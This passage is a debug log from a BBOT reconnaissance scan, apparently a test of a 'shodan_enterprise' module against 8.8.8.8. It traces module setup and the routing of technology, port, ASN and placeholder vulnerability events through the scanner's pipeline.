_scan_ingress -2026-03-02 09:15:09,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-03-02 09:15:09,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-03-02 09:15:09,232 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-03-02 09:15:09,233 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-03-02 09:15:09,233 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-03-02 09:15:09,233 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-03-02 09:15:09,233 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-03-02 09:15:09,233 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-03-02 09:15:09,234 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-03-02 09:15:09,234 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-03-02 09:15:09,234 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-03-02 09:15:09,234 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-03-02 09:15:09,234 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-03-02 09:15:09,234 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-03-02 09:15:09,235 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-03-02 09:15:09,235 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-03-02 09:15:09,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-03-02 09:15:09,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-03-02 09:15:09,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-03-02 09:15:09,235 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-03-02 09:15:09,236 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-03-02 09:15:09,237 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-03-02 09:15:09,237 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-03-02 09:15:09,237 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-03-02 09:15:09,238 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. -2026-03-02 09:15:09,238 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-03-02 09:15:09,238 [DEBUG] bbot base.py:111 Starting scan -2026-03-02 09:15:09,318 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_wwe9k1fxd4 -2026-03-02 09:15:09,318 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops -2026-03-02 09:15:09,386 [VERBOSE] bbot.scanner logger.py:151 6 modules started -2026-03-02 09:15:09,386 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-03-02 09:15:09,387 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-03-02 09:15:09,388 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-02 09:15:09,488 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) passed post-check -2026-03-02 09:15:09,488 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) -2026-03-02 09:15:09,490 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'distance-1', 'target'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,490 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-02 09:15:09,491 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:15:09,492 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:15:09,492 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-03-02 09:15:09,493 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-02 09:15:09,494 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:15:09,495 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:15:09,495 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:15:09,496 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:15:09,496 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:15:09,497 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-03-02 09:15:09,498 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-03-02 09:15:09,500 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-02 09:15:09,500 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-03-02 09:15:09,501 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-02 09:15:09,501 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-02 09:15:09,501 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,502 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,502 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-03-02 09:15:09,502 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-03-02 09:15:09,502 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-02 09:15:09,505 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) -2026-03-02 09:15:09,587 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-03-02 09:15:09,588 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:08b5a4780d346dae33a34520b9922c303d51eac7', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-03-02 09:15:09,589 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) from TARGET -2026-03-02 09:15:09,589 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'ipv4', 'target', 'in-scope'}) passed post-check -2026-03-02 09:15:09,595 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:15:09,595 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:15:09,596 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,596 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:15:09,597 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,597 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,597 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:15:09,598 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:15:09,598 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,599 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,599 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:15:09,599 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:15:09,599 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:15:09,600 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,600 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,600 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,601 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:15:09,601 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:15:09,601 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:15:09,601 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,602 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,602 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,602 [DEBUG] bbot.modules.dnsresolve base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:15:09,602 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:15:09,603 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,603 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) -2026-03-02 09:15:09,604 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,604 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,604 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,604 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,605 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:15:09,605 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:15:09,605 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:15:09,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,606 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,606 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,606 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'dns', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,607 [DEBUG] bbot.modules._scan_egress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) passed post-check -2026-03-02 09:15:09,607 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:15:09,607 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:15:09,607 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,608 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,608 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,608 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-02 09:15:09,609 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:15:09,609 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,609 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) -2026-03-02 09:15:09,609 [DEBUG] bbot.modules.output.python base.py:1563 Queueing VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'low', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,610 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,610 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,610 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,610 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,611 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,611 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,611 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,611 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) -2026-03-02 09:15:09,612 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'dns', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,612 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) passed post-check -2026-03-02 09:15:09,612 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:15:09,612 [DEBUG] bbot.modules._scan_ingress base.py:1563 Not forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) because event was already emitted by its module -2026-03-02 09:15:09,613 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) passed post-check -2026-03-02 09:15:09,613 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,613 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,614 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,614 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) -2026-03-02 09:15:09,614 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'public-dns', 'cloud', 'verified'}) because precheck succeeded -2026-03-02 09:15:09,614 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) passed post-check -2026-03-02 09:15:09,614 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,615 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,615 [DEBUG] bbot.modules._scan_ingress base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) passed post-check -2026-03-02 09:15:09,615 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:15:09,616 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) passed post-check -2026-03-02 09:15:09,616 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,616 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) in-scope because its main host matches the scan target -2026-03-02 09:15:09,616 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) -2026-03-02 09:15:09,617 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'nameserver', 'dns', 'in-scope'}) because precheck succeeded -2026-03-02 09:15:09,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'critical', 'in-scope'}) -2026-03-02 09:15:09,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) passed post-check -2026-03-02 09:15:09,617 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'web-technology', 'in-scope'}) -2026-03-02 09:15:09,618 [DEBUG] bbot.modules.dnsresolve base.py:1563 